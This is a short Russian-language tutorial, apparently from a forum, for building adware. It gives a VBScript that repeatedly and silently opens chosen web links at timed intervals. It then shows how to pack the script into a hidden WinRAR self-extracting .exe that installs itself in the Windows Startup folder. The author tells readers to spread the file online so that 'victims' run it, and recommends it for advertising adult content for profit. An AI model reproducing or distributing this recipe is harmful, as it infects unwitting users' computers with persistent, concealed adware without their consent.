Копируете данный текст себе в блокнот и сохраняете в формате vbs

 Option Explicit

 Dim objWshShell
 WScript.Sleep (300000)
 Set objWshShell = WScript.CreateObject("WScript.Shell")
 objWshShell.Run "http://vk.com/id1", 0, False
 WScript.Sleep (300000)
 Set objWshShell = WScript.CreateObject("WScript.Shell")
 objWshShell.Run "http://vk.com/id2", 0, False
 WScript.Sleep (300000)
 Set objWshShell = WScript.CreateObject("WScript.Shell")
 objWshShell.Run "http://vk.com/id3", 0, False

 Set objWshShell = Nothing

 WScript.Quit 0

 300000 значит 300 секунд, ссылки меняете на свои. Время, ссылки добавляете\удаляете.

Время это интервал между открытиями, ссылки они и в Африке ссылки. Как все распишете, в таком порядке все и показываться будет.

Далее все сохраняете в vbs формате когда все готово.

Жмете ПКМ и выбираете "Добавить в архив" (нужен winrar)

Ставите галочку "Создать Sfx-архив"

Жмете "Дополнительно--->параметры SFX"

Путь для распаковки %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
галку Абсолютный путь оставляете

 Жмете "Установка" и там где "выполнить после распаковки" пишете имя вашего уже готового файла в формате name.vbs

Жмете "Режимы"

Ставите галку "Скрыть все". Дважды жмете ОК и файл будет запакован в формат name.exe Распространяете в сети. Жертвы качают, запускают и реклама работает.

Автозагрузка, если не поняли, тоже есть. Удаляется так: переходите по вышеуказанной папке для распаковки и удаляете.

Высоких заработков! Так удобно адалт рекламировать:)